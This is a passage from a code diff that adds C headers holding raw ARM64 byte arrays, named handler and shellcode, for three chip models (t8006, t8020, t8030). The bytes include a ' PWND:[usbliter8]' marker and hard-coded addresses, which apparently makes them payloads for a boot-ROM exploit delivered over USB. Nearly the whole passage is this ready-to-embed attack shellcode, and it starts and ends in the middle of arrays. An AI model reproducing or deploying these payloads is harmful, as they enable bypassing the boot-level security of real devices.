0x00, 0x08, 0x00, 0x40, 0x0e, 0x16, 0x0b, 0x00, 0x00, 0x00, 0xc0, 0x00,
0x00, 0xfc, 0x1f, 0x00, 0xff, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x68, 0x14, 0x01, 0x9c, 0x01, 0x00, 0x00, 0x00,
0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};
+13
View File
@@ -0,0 +1,13 @@
const unsigned char handler_t8006[] = {
0xfd, 0x7b, 0xbf, 0xa9, 0xfd, 0x03, 0x00, 0x91, 0x08, 0x00, 0xc0, 0x39,
0x48, 0x01, 0xf8, 0x37, 0x08, 0x04, 0x40, 0x39, 0x1f, 0x21, 0x00, 0x71,
0x60, 0x01, 0x00, 0x54, 0x1f, 0x1d, 0x00, 0x71, 0xa1, 0x00, 0x00, 0x54,
0x88, 0xda, 0x8f, 0xd2, 0x28, 0x00, 0xc0, 0xf2, 0x00, 0x01, 0x3f, 0xd6,
0x0e, 0x00, 0x00, 0x14, 0x02, 0x71, 0x9c, 0xd2, 0x22, 0x00, 0xc0, 0xf2,
0xfd, 0x7b, 0xc1, 0xa8, 0x40, 0x00, 0x1f, 0xd6, 0x88, 0x6a, 0x8d, 0xd2,
0x28, 0x00, 0xc0, 0xf2, 0x00, 0x01, 0x3f, 0xd6, 0x08, 0xeb, 0x9b, 0xd2,
0x88, 0x03, 0xb0, 0xf2, 0x28, 0x00, 0xc0, 0xf2, 0x09, 0x73, 0x83, 0xd2,
0x29, 0x00, 0xc0, 0xf2, 0x09, 0x01, 0x00, 0xf9, 0x00, 0x00, 0x80, 0x52,
0xfd, 0x7b, 0xc1, 0xa8, 0xc0, 0x03, 0x5f, 0xd6
};
unsigned int handler_t8006_len = 116;
+13
View File
@@ -0,0 +1,13 @@
const unsigned char handler_t8020[] = {
0xfd, 0x7b, 0xbf, 0xa9, 0xfd, 0x03, 0x00, 0x91, 0x08, 0x00, 0xc0, 0x39,
0x48, 0x01, 0xf8, 0x37, 0x08, 0x04, 0x40, 0x39, 0x1f, 0x21, 0x00, 0x71,
0x60, 0x01, 0x00, 0x54, 0x1f, 0x1d, 0x00, 0x71, 0xa1, 0x00, 0x00, 0x54,
0x08, 0x9f, 0x8f, 0xd2, 0x28, 0x00, 0xc0, 0xf2, 0x00, 0x01, 0x3f, 0xd6,
0x0e, 0x00, 0x00, 0x14, 0x82, 0x7d, 0x9c, 0xd2, 0x22, 0x00, 0xc0, 0xf2,
0xfd, 0x7b, 0xc1, 0xa8, 0x40, 0x00, 0x1f, 0xd6, 0x08, 0x0a, 0x8d, 0xd2,
0x28, 0x00, 0xc0, 0xf2, 0x00, 0x01, 0x3f, 0xd6, 0x08, 0xe1, 0x9b, 0xd2,
0x28, 0x80, 0xb3, 0xf2, 0x28, 0x00, 0xc0, 0xf2, 0x89, 0x91, 0x83, 0xd2,
0x29, 0x00, 0xc0, 0xf2, 0x09, 0x01, 0x00, 0xf9, 0x00, 0x00, 0x80, 0x52,
0xfd, 0x7b, 0xc1, 0xa8, 0xc0, 0x03, 0x5f, 0xd6
};
unsigned int handler_t8020_len = 116;
+16
View File
@@ -0,0 +1,16 @@
const unsigned char handler_t8030[] = {
0xf4, 0x4f, 0xbe, 0xa9, 0xfd, 0x7b, 0x01, 0xa9, 0xfd, 0x43, 0x00, 0x91,
0x08, 0x00, 0xc0, 0x39, 0x48, 0x01, 0xf8, 0x37, 0x08, 0x04, 0x40, 0x39,
0x1f, 0x21, 0x00, 0x71, 0x80, 0x01, 0x00, 0x54, 0x1f, 0x1d, 0x00, 0x71,
0xa1, 0x00, 0x00, 0x54, 0x88, 0x65, 0x90, 0xd2, 0x28, 0x00, 0xc0, 0xf2,
0x00, 0x01, 0x3f, 0xd6, 0x11, 0x00, 0x00, 0x14, 0x82, 0xe6, 0x9d, 0xd2,
0x22, 0x00, 0xc0, 0xf2, 0xfd, 0x7b, 0x41, 0xa9, 0xf4, 0x4f, 0xc2, 0xa8,
0x40, 0x00, 0x1f, 0xd6, 0x08, 0xd6, 0x8d, 0xd2, 0x28, 0x00, 0xc0, 0xf2,
0x00, 0x01, 0x3f, 0xd6, 0x13, 0xe1, 0x9b, 0xd2, 0x33, 0x80, 0xb3, 0xf2,
0x33, 0x00, 0xc0, 0xf2, 0x61, 0x22, 0x00, 0x91, 0x00, 0x3a, 0x84, 0xd2,
0x20, 0x00, 0xc0, 0xf2, 0x06, 0x00, 0x00, 0x94, 0x60, 0x02, 0x00, 0xf9,
0x00, 0x00, 0x80, 0x52, 0xfd, 0x7b, 0x41, 0xa9, 0xf4, 0x4f, 0xc2, 0xa8,
0xc0, 0x03, 0x5f, 0xd6, 0x20, 0x04, 0xc1, 0xda, 0xc0, 0x03, 0x5f, 0xd6,
0x20, 0x00, 0x20, 0xd4
};
unsigned int handler_t8030_len = 148;
+71
View File
@@ -0,0 +1,71 @@
const unsigned char shellcode_t8006[] = {
0x00, 0x10, 0x38, 0xd5, 0x00, 0xf8, 0x7f, 0x92, 0x00, 0x10, 0x18, 0xd5,
0x9f, 0x3f, 0x03, 0xd5, 0xdf, 0x3f, 0x03, 0xd5, 0xa0, 0x13, 0x00, 0x58,
0x1f, 0x00, 0x00, 0x91, 0x38, 0xff, 0xff, 0x10, 0x01, 0xe0, 0x87, 0xd2,
0x00, 0x03, 0x01, 0x8b, 0xf6, 0x03, 0x00, 0xaa, 0xa1, 0x0e, 0x00, 0x10,
0xc2, 0x12, 0x00, 0x10, 0x42, 0x00, 0x01, 0xcb, 0xc8, 0x11, 0x00, 0x58,
0x00, 0x01, 0x3f, 0xd6, 0x01, 0x80, 0x87, 0xd2, 0x00, 0x03, 0x01, 0x8b,
0xf8, 0x03, 0x00, 0xaa, 0x01, 0x00, 0x00, 0x90, 0x21, 0x80, 0x0c, 0x91,
0x22, 0x00, 0x40, 0xb9, 0x21, 0x40, 0x00, 0x91, 0xa8, 0x10, 0x00, 0x58,
0x00, 0x01, 0x3f, 0xd6, 0x60, 0x11, 0x00, 0x58, 0x81, 0x11, 0x00, 0x58,
0x01, 0x00, 0x00, 0xf9, 0x9f, 0x3f, 0x03, 0xd5, 0x1f, 0x87, 0x08, 0xd5,
0x9f, 0x3f, 0x03, 0xd5, 0xdf, 0x3f, 0x03, 0xd5, 0x1f, 0x75, 0x08, 0xd5,
0x9f, 0x3f, 0x03, 0xd5, 0xdf, 0x3f, 0x03, 0xd5, 0x00, 0x10, 0x38, 0xd5,
0x00, 0x00, 0x40, 0xb2, 0x00, 0x10, 0x18, 0xd5, 0x9f, 0x3f, 0x03, 0xd5,
0xdf, 0x3f, 0x03, 0xd5, 0x01, 0x10, 0x00, 0x58, 0x38, 0x00, 0x00, 0xf9,
0x00, 0x10, 0x00, 0x58, 0x1f, 0x7c, 0x00, 0xa9, 0x1f, 0x7c, 0x01, 0xa9,
0x1f, 0x7c, 0x02, 0xa9, 0x1f, 0x7c, 0x03, 0xa9, 0x41, 0x00, 0x80, 0x52,
0x01, 0x20, 0x00, 0xb9, 0x81, 0x01, 0x80, 0x52, 0x01, 0x28, 0x00, 0xb9,
0x01, 0x10, 0x80, 0x52, 0x01, 0x30, 0x00, 0xb9, 0xe1, 0x0e, 0x00, 0x58,
0x01, 0x0c, 0x00, 0xf9, 0x60, 0x0d, 0x00, 0x58, 0x1f, 0x7c, 0x00, 0xa9,
0x1f, 0x7c, 0x01, 0xa9, 0x1f, 0x7c, 0x02, 0xa9, 0x1f, 0x7c, 0x03, 0xa9,
0x01, 0x0c, 0x00, 0xf9, 0x21, 0x04, 0x80, 0x52, 0x01, 0x20, 0x00, 0xb9,
0x81, 0x80, 0x80, 0x52, 0x01, 0x28, 0x00, 0xb9, 0x01, 0x08, 0x81, 0x52,
0x01, 0x30, 0x00, 0xb9, 0x61, 0x0d, 0x00, 0x18, 0x80, 0x0d, 0x00, 0x58,
0x01, 0x00, 0x00, 0xb9, 0x80, 0x0d, 0x00, 0x58, 0x01, 0x00, 0x80, 0xd2,
0x01, 0x00, 0x00, 0xb9, 0xf3, 0x04, 0x00, 0x10, 0x14, 0x06, 0x00, 0x10,
0x35, 0x0d, 0x00, 0x58, 0x60, 0x86, 0x40, 0xf8, 0xa0, 0x02, 0x3f, 0xd6,
0x7f, 0x02, 0x14, 0xeb, 0xa1, 0xff, 0xff, 0x54, 0xc0, 0x0c, 0x00, 0x58,
0x21, 0x05, 0x00, 0x10, 0xe2, 0x0f, 0x80, 0xd2, 0xe3, 0x0f, 0x80, 0xd2,
0x88, 0x0c, 0x00, 0x58, 0x00, 0x01, 0x3f, 0xd6, 0x00, 0x0c, 0x00, 0x58,
0x68, 0x0c, 0x00, 0x58, 0x00, 0x01, 0x3f, 0xd6, 0x61, 0x0c, 0x00, 0x58,
0x20, 0x00, 0x00, 0x39, 0xe0, 0x03, 0x00, 0x91, 0xff, 0x83, 0x02, 0xd1,
0xe1, 0x03, 0x00, 0x91, 0x3f, 0x7c, 0x81, 0xa8, 0x1f, 0x00, 0x01, 0xeb,
0xc1, 0xff, 0xff, 0x54, 0xa1, 0x0b, 0x00, 0x58, 0x21, 0x00, 0x40, 0xf9,
0xe1, 0x0f, 0x00, 0xf9, 0x81, 0x0b, 0x00, 0x58, 0xe1, 0x3f, 0x00, 0xf9,
0x81, 0x0b, 0x00, 0x58, 0xe1, 0x07, 0x00, 0xf9, 0x94, 0x0b, 0x00, 0x58,
0xb5, 0x0b, 0x00, 0x58, 0x38, 0x00, 0x80, 0x52, 0x19, 0x08, 0x80, 0x52,
0xfc, 0x03, 0x80, 0x52, 0xfa, 0x01, 0x80, 0x52, 0xc0, 0x02, 0x1f, 0xd6,
0x1f, 0x20, 0x03, 0xd5, 0xc0, 0x8b, 0x1d, 0x80, 0x01, 0x00, 0x00, 0x00,
0x00, 0x94, 0x1d, 0x80, 0x01, 0x00, 0x00, 0x00, 0x80, 0x94, 0x1d, 0x80,
0x01, 0x00, 0x00, 0x00, 0x00, 0x95, 0x1d, 0x80, 0x01, 0x00, 0x00, 0x00,
0xc0, 0x95, 0x1d, 0x80, 0x01, 0x00, 0x00, 0x00, 0x20, 0x50, 0x57, 0x4e,
0x44, 0x3a, 0x5b, 0x75, 0x73, 0x62, 0x6c, 0x69, 0x74, 0x65, 0x72, 0x38,
0x5d, 0x00, 0x00, 0x00, 0x1f, 0x20, 0x03, 0xd5, 0x00, 0x10, 0x38, 0xd5,
0x00, 0xf8, 0x7f, 0x92, 0x00, 0x10, 0x18, 0xd5, 0x9f, 0x3f, 0x03, 0xd5,
0xdf, 0x3f, 0x03, 0xd5, 0x60, 0x02, 0x00, 0x58, 0x81, 0x02, 0x00, 0x58,
0x02, 0x90, 0x80, 0xd2, 0x88, 0x02, 0x00, 0x58, 0x00, 0x01, 0x3f, 0xd6,
0x1f, 0x75, 0x08, 0xd5, 0x9f, 0x3f, 0x03, 0xd5, 0xdf, 0x3f, 0x03, 0xd5,
0x20, 0x02, 0x00, 0x58, 0x00, 0x10, 0x18, 0xd5, 0x9f, 0x3f, 0x03, 0xd5,
0xdf, 0x3f, 0x03, 0xd5, 0x20, 0x40, 0x80, 0xd2, 0x00, 0xe1, 0x18, 0xd5,
0xa0, 0x01, 0x00, 0x58, 0x20, 0x40, 0x18, 0xd5, 0x00, 0x20, 0x80, 0xd2,
0x00, 0x40, 0x18, 0xd5, 0xe0, 0x03, 0x9f, 0xd6, 0x00, 0x80, 0x1c, 0x80,
0x01, 0x00, 0x00, 0x00, 0x00, 0x7a, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x10, 0x0c, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x8d, 0x5b, 0xdd, 0x34,
0x00, 0x00, 0x00, 0x00, 0x70, 0xc3, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0xc0, 0x8b, 0x1d, 0x80, 0x01, 0x00, 0x00, 0x00, 0x90, 0x43, 0x1b, 0x80,
0x01, 0x00, 0x00, 0x00, 0xe3, 0x86, 0x1c, 0x80, 0x01, 0x00, 0x00, 0x00,
0xf8, 0x03, 0x1c, 0x80, 0x01, 0x00, 0x00, 0x00, 0xc0, 0x95, 0x1d, 0x80,
0x01, 0x00, 0x00, 0x00, 0x78, 0x0c, 0x1c, 0x80, 0x01, 0x00, 0x00, 0x00,
0x00, 0x96, 0x1d, 0x80, 0x00, 0x00, 0x00, 0x00, 0x14, 0x0b, 0x10, 0x30,
0x02, 0x00, 0x00, 0x00, 0x30, 0x40, 0x1c, 0x80, 0x01, 0x00, 0x00, 0x00,
0xec, 0xf5, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xd8, 0xb3, 0x1b, 0x80,
0x01, 0x00, 0x00, 0x00, 0xb8, 0x0b, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00,
0x10, 0xd5, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x7a, 0x89, 0x1b, 0x80,
0x01, 0x00, 0x00, 0x00, 0xb8, 0x84, 0x1b, 0x80, 0x01, 0x00, 0x00, 0x00,
0x38, 0xac, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xa8, 0x0b, 0x10, 0x30,
0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x30, 0x02, 0x00, 0x00, 0x00,
0x00, 0xfe, 0x1b, 0x80, 0x01, 0x00, 0x00, 0x00, 0xad, 0xde, 0xad, 0xde,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};
unsigned int shellcode_t8006_len = 816;
+71
View File
@@ -0,0 +1,71 @@
const unsigned char shellcode_t8020[] = {
0x00, 0x10, 0x38, 0xd5, 0x00, 0xf8, 0x7f, 0x92, 0x00, 0x10, 0x18, 0xd5,
0x9f, 0x3f, 0x03, 0xd5, 0xdf, 0x3f, 0x03, 0xd5, 0xa0, 0x13, 0x00, 0x58,
0x1f, 0x00, 0x00, 0x91, 0x38, 0xff, 0xff, 0x10, 0x01, 0xe0, 0x87, 0xd2,
0x00, 0x03, 0x01, 0x8b, 0xf6, 0x03, 0x00, 0xaa, 0xa1, 0x0e, 0x00, 0x10,
0xc2, 0x12, 0x00, 0x10, 0x42, 0x00, 0x01, 0xcb, 0xc8, 0x11, 0x00, 0x58,
0x00, 0x01, 0x3f, 0xd6, 0x01, 0x80, 0x87, 0xd2, 0x00, 0x03, 0x01, 0x8b,
0xf8, 0x03, 0x00, 0xaa, 0x01, 0x00, 0x00, 0x90, 0x21, 0x80, 0x0c, 0x91,
0x22, 0x00, 0x40, 0xb9, 0x21, 0x40, 0x00, 0x91, 0xa8, 0x10, 0x00, 0x58,
0x00, 0x01, 0x3f, 0xd6, 0x60, 0x11, 0x00, 0x58, 0x81, 0x11, 0x00, 0x58,
0x01, 0x00, 0x00, 0xf9, 0x9f, 0x3f, 0x03, 0xd5, 0x1f, 0x87, 0x08, 0xd5,
0x9f, 0x3f, 0x03, 0xd5, 0xdf, 0x3f, 0x03, 0xd5, 0x1f, 0x75, 0x08, 0xd5,
0x9f, 0x3f, 0x03, 0xd5, 0xdf, 0x3f, 0x03, 0xd5, 0x00, 0x10, 0x38, 0xd5,
0x00, 0x00, 0x40, 0xb2, 0x00, 0x10, 0x18, 0xd5, 0x9f, 0x3f, 0x03, 0xd5,
0xdf, 0x3f, 0x03, 0xd5, 0x01, 0x10, 0x00, 0x58, 0x38, 0x00, 0x00, 0xf9,
0x00, 0x10, 0x00, 0x58, 0x1f, 0x7c, 0x00, 0xa9, 0x1f, 0x7c, 0x01, 0xa9,
0x1f, 0x7c, 0x02, 0xa9, 0x1f, 0x7c, 0x03, 0xa9, 0x41, 0x00, 0x80, 0x52,
0x01, 0x20, 0x00, 0xb9, 0x81, 0x01, 0x80, 0x52, 0x01, 0x28, 0x00, 0xb9,
0x01, 0x10, 0x80, 0x52, 0x01, 0x30, 0x00, 0xb9, 0xe1, 0x0e, 0x00, 0x58,
0x01, 0x0c, 0x00, 0xf9, 0x60, 0x0d, 0x00, 0x58, 0x1f, 0x7c, 0x00, 0xa9,
0x1f, 0x7c, 0x01, 0xa9, 0x1f, 0x7c, 0x02, 0xa9, 0x1f, 0x7c, 0x03, 0xa9,
0x01, 0x0c, 0x00, 0xf9, 0x21, 0x04, 0x80, 0x52, 0x01, 0x20, 0x00, 0xb9,
0x81, 0x80, 0x80, 0x52, 0x01, 0x28, 0x00, 0xb9, 0x01, 0x08, 0x81, 0x52,
0x01, 0x30, 0x00, 0xb9, 0x61, 0x0d, 0x00, 0x18, 0x80, 0x0d, 0x00, 0x58,
0x01, 0x00, 0x00, 0xb9, 0x80, 0x0d, 0x00, 0x58, 0x01, 0x00, 0x80, 0xd2,
0x01, 0x00, 0x00, 0xb9, 0xf3, 0x04, 0x00, 0x10, 0x14, 0x06, 0x00, 0x10,
0x35, 0x0d, 0x00, 0x58, 0x60, 0x86, 0x40, 0xf8, 0xa0, 0x02, 0x3f, 0xd6,
0x7f, 0x02, 0x14, 0xeb, 0xa1, 0xff, 0xff, 0x54, 0xc0, 0x0c, 0x00, 0x58,
0x21, 0x05, 0x00, 0x10, 0xe2, 0x0f, 0x80, 0xd2, 0xe3, 0x0f, 0x80, 0xd2,
0x88, 0x0c, 0x00, 0x58, 0x00, 0x01, 0x3f, 0xd6, 0x00, 0x0c, 0x00, 0x58,
0x68, 0x0c, 0x00, 0x58, 0x00, 0x01, 0x3f, 0xd6, 0x61, 0x0c, 0x00, 0x58,
0x20, 0x00, 0x00, 0x39, 0xe0, 0x03, 0x00, 0x91, 0xff, 0x83, 0x02, 0xd1,
0xe1, 0x03, 0x00, 0x91, 0x3f, 0x7c, 0x81, 0xa8, 0x1f, 0x00, 0x01, 0xeb,
0xc1, 0xff, 0xff, 0x54, 0xa1, 0x0b, 0x00, 0x58, 0x21, 0x00, 0x40, 0xf9,
0xe1, 0x0f, 0x00, 0xf9, 0x81, 0x0b, 0x00, 0x58, 0xe1, 0x3f, 0x00, 0xf9,
0x81, 0x0b, 0x00, 0x58, 0xe1, 0x07, 0x00, 0xf9, 0x94, 0x0b, 0x00, 0x58,
0xb5, 0x0b, 0x00, 0x58, 0x38, 0x00, 0x80, 0x52, 0x19, 0x08, 0x80, 0x52,
0xfc, 0x03, 0x80, 0x52, 0xfa, 0x01, 0x80, 0x52, 0xc0, 0x02, 0x1f, 0xd6,
0x1f, 0x20, 0x03, 0xd5, 0xc0, 0x8b, 0x02, 0x9c, 0x01, 0x00, 0x00, 0x00,
0x00, 0x94, 0x02, 0x9c, 0x01, 0x00, 0x00, 0x00, 0x80, 0x94, 0x02, 0x9c,
0x01, 0x00, 0x00, 0x00, 0x00, 0x95, 0x02, 0x9c, 0x01, 0x00, 0x00, 0x00,
0xc0, 0x95, 0x02, 0x9c, 0x01, 0x00, 0x00, 0x00, 0x20, 0x50, 0x57, 0x4e,
0x44, 0x3a, 0x5b, 0x75, 0x73, 0x62, 0x6c, 0x69, 0x74, 0x65, 0x72, 0x38,
0x5d, 0x00, 0x00, 0x00, 0x1f, 0x20, 0x03, 0xd5, 0x00, 0x10, 0x38, 0xd5,
0x00, 0xf8, 0x7f, 0x92, 0x00, 0x10, 0x18, 0xd5, 0x9f, 0x3f, 0x03, 0xd5,
0xdf, 0x3f, 0x03, 0xd5, 0x60, 0x02, 0x00, 0x58, 0x81, 0x02, 0x00, 0x58,
0x02, 0x90, 0x80, 0xd2, 0x88, 0x02, 0x00, 0x58, 0x00, 0x01, 0x3f, 0xd6,
0x1f, 0x75, 0x08, 0xd5, 0x9f, 0x3f, 0x03, 0xd5, 0xdf, 0x3f, 0x03, 0xd5,
0x20, 0x02, 0x00, 0x58, 0x00, 0x10, 0x18, 0xd5, 0x9f, 0x3f, 0x03, 0xd5,
0xdf, 0x3f, 0x03, 0xd5, 0x20, 0x40, 0x80, 0xd2, 0x00, 0xe1, 0x18, 0xd5,
0xa0, 0x01, 0x00, 0x58, 0x20, 0x40, 0x18, 0xd5, 0x00, 0x20, 0x80, 0xd2,
0x00, 0x40, 0x18, 0xd5, 0xe0, 0x03, 0x9f, 0xd6, 0x00, 0x80, 0x01, 0x9c,
0x01, 0x00, 0x00, 0x00, 0x40, 0x76, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0xd0, 0x0b, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x8d, 0x5b, 0xdd, 0x34,
0x00, 0x00, 0x00, 0x00, 0x08, 0xc4, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0xc0, 0x8b, 0x02, 0x9c, 0x01, 0x00, 0x00, 0x00, 0x30, 0x40, 0x00, 0x9c,
0x01, 0x00, 0x00, 0x00, 0xe3, 0x86, 0x01, 0x9c, 0x01, 0x00, 0x00, 0x00,
0x68, 0x0c, 0x01, 0x9c, 0x01, 0x00, 0x00, 0x00, 0xc0, 0x95, 0x02, 0x9c,
0x01, 0x00, 0x00, 0x00, 0x68, 0x14, 0x01, 0x9c, 0x01, 0x00, 0x00, 0x00,
0x00, 0x96, 0x02, 0x9c, 0x00, 0x00, 0x00, 0x00, 0x14, 0x0b, 0x10, 0x39,
0x02, 0x00, 0x00, 0x00, 0x30, 0x40, 0x01, 0x9c, 0x01, 0x00, 0x00, 0x00,
0x64, 0xf6, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x58, 0xbc, 0x00, 0x9c,
0x01, 0x00, 0x00, 0x00, 0x60, 0x0b, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00,
0x84, 0xd5, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x0a, 0x89, 0x00, 0x9c,
0x01, 0x00, 0x00, 0x00, 0x48, 0x84, 0x00, 0x9c, 0x01, 0x00, 0x00, 0x00,
0xec, 0xac, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xa8, 0x0b, 0x10, 0x39,
0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x39, 0x02, 0x00, 0x00, 0x00,
0x70, 0x06, 0x01, 0x9c, 0x01, 0x00, 0x00, 0x00, 0xad, 0xde, 0xad, 0xde,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};
unsigned int shellcode_t8020_len = 816;
+98
View File
@@ -0,0 +1,98 @@
const unsigned char shellcode_t8030[] = {
0xdf, 0x43, 0x03, 0xd5, 0xe0, 0x05, 0x00, 0x58, 0x1f, 0x00, 0x00, 0x91,
0xe0, 0x05, 0x00, 0x58, 0x21, 0x00, 0xc0, 0xd2, 0x62, 0x00, 0xa0, 0xd2,
0xc8, 0x05, 0x00, 0x58, 0x00, 0x01, 0x3f, 0xd6, 0x38, 0x00, 0x00, 0x94,
0xe0, 0xfe, 0xff, 0x10, 0x81, 0x05, 0x00, 0x58, 0xa2, 0x05, 0x00, 0x58,
0x42, 0x00, 0x01, 0xcb, 0x21, 0x00, 0x00, 0x8b, 0x80, 0x05, 0x00, 0x58,
0xf3, 0x03, 0x00, 0xaa, 0x88, 0x04, 0x00, 0x58, 0x00, 0x01, 0x3f, 0xd6,
0x01, 0x00, 0x00, 0x90, 0x21, 0x80, 0x11, 0x91, 0x22, 0x00, 0x40, 0xb9,
0x21, 0x40, 0x00, 0x91, 0xc0, 0x04, 0x00, 0x58, 0xa8, 0x03, 0x00, 0x58,
0x00, 0x01, 0x3f, 0xd6, 0x00, 0x10, 0x38, 0xd5, 0x00, 0xf8, 0x7f, 0x92,
0x00, 0x10, 0x18, 0xd5, 0x9f, 0x3f, 0x03, 0xd5, 0xdf, 0x3f, 0x03, 0xd5,
0x40, 0xfc, 0xff, 0x10, 0x00, 0x00, 0x20, 0x91, 0xc1, 0x03, 0x00, 0x58,
0x02, 0x80, 0x80, 0xd2, 0xf4, 0x03, 0x00, 0xaa, 0x28, 0x02, 0x00, 0x58,
0x00, 0x01, 0x3f, 0xd6, 0x1f, 0x75, 0x08, 0xd5, 0x9f, 0x3f, 0x03, 0xd5,
0xdf, 0x3f, 0x03, 0xd5, 0x00, 0x10, 0x38, 0xd5, 0x00, 0x00, 0x40, 0xb2,
0x00, 0x10, 0x18, 0xd5, 0x9f, 0x3f, 0x03, 0xd5, 0xdf, 0x3f, 0x03, 0xd5,
0xe0, 0x03, 0x13, 0xaa, 0x80, 0x02, 0x1f, 0xd6, 0x00, 0x00, 0x00, 0x00,
0x00, 0xe0, 0x01, 0x9c, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x39, 0x9c,
0x01, 0x00, 0x00, 0x00, 0x70, 0x17, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00,
0xc0, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x04, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0x3b, 0x9c, 0x01, 0x00, 0x00, 0x00,
0x00, 0xfc, 0x3b, 0x9c, 0x01, 0x00, 0x00, 0x00, 0x00, 0x7d, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0x88, 0x1a, 0x8d, 0xd2, 0x28, 0x87, 0xb3, 0xf2,
0x28, 0x00, 0xc0, 0xf2, 0x09, 0x0c, 0x80, 0x52, 0x09, 0x00, 0xa2, 0x72,
0x09, 0x81, 0x0b, 0xb9, 0x09, 0x28, 0xb7, 0x52, 0x09, 0x85, 0x0b, 0xb9,
0x09, 0x78, 0x80, 0x52, 0xe9, 0xcb, 0xba, 0x72, 0x09, 0x89, 0x0b, 0xb9,
0x09, 0x00, 0x90, 0x52, 0xa9, 0x06, 0xa0, 0x72, 0x09, 0x8d, 0x0b, 0xb9,
0x49, 0x04, 0x00, 0x10, 0x1f, 0x20, 0x03, 0xd5, 0x0a, 0x00, 0x9f, 0x52,
0x4a, 0x00, 0xa0, 0x72, 0x49, 0x01, 0x09, 0x4b, 0x2a, 0x08, 0x00, 0x10,
0x1f, 0x20, 0x03, 0xd5, 0xeb, 0xa9, 0x8e, 0x12, 0x4a, 0x01, 0x0b, 0x0b,
0x4a, 0x01, 0x09, 0x0b, 0x0b, 0x80, 0xb2, 0x52, 0x0c, 0x80, 0xb2, 0x52,
0x4c, 0x6d, 0x02, 0x33, 0x0c, 0x7d, 0x0c, 0xb9, 0x8a, 0x34, 0x8f, 0xd2,
0x2a, 0x87, 0xb3, 0xf2, 0x2a, 0x00, 0xc0, 0xf2, 0x0c, 0x04, 0x80, 0x52,
0x0c, 0x50, 0xaa, 0x72, 0x4c, 0x01, 0x00, 0xb9, 0x8a, 0x07, 0x00, 0x10,
0x1f, 0x20, 0x03, 0xd5, 0x6c, 0x1a, 0x8d, 0x12, 0x4a, 0x01, 0x0c, 0x0b,
0x49, 0x01, 0x09, 0x0b, 0x2b, 0x6d, 0x02, 0x33, 0x0b, 0x01, 0x00, 0xb9,
0x08, 0x0f, 0x92, 0xd2, 0x68, 0x87, 0xb3, 0xf2, 0x28, 0x00, 0xc0, 0xf2,
0xe9, 0x5b, 0x76, 0xb2, 0x49, 0x00, 0xa0, 0xf2, 0x09, 0x01, 0x00, 0xf9,
0xc0, 0x03, 0x5f, 0xd6, 0x00, 0x00, 0x00, 0x10, 0x21, 0x04, 0x00, 0x58,
0x00, 0x00, 0x01, 0xcb, 0x21, 0x00, 0xc0, 0xd2, 0x00, 0x00, 0x01, 0x8b,
0x00, 0xc0, 0x18, 0xd5, 0x80, 0x0f, 0x00, 0x58, 0x1f, 0x00, 0x00, 0x91,
0x7c, 0x00, 0x00, 0x94, 0x60, 0x02, 0x00, 0x58, 0x00, 0xa2, 0x18, 0xd5,
0x60, 0x02, 0x00, 0x58, 0x40, 0x20, 0x18, 0xd5, 0xa0, 0x01, 0x00, 0x58,
0x00, 0x20, 0x18, 0xd5, 0xdf, 0x3f, 0x03, 0xd5, 0x9f, 0x3f, 0x03, 0xd5,
0x1f, 0x87, 0x08, 0xd5, 0x9f, 0x3f, 0x03, 0xd5, 0xdf, 0x3f, 0x03, 0xd5,
0x80, 0x01, 0x00, 0x58, 0x00, 0x10, 0x18, 0xd5, 0x9f, 0x3f, 0x03, 0xd5,
0xdf, 0x3f, 0x03, 0xd5, 0x28, 0x00, 0xc0, 0xd2, 0x00, 0x01, 0x1f, 0xd6,
0x00, 0x80, 0x38, 0x9c, 0x01, 0x00, 0x00, 0x00, 0x04, 0xff, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x1c, 0xa5, 0x9c, 0x65, 0x01, 0x00, 0x00, 0x00,
0x0d, 0x52, 0x8d, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x39, 0x9c,
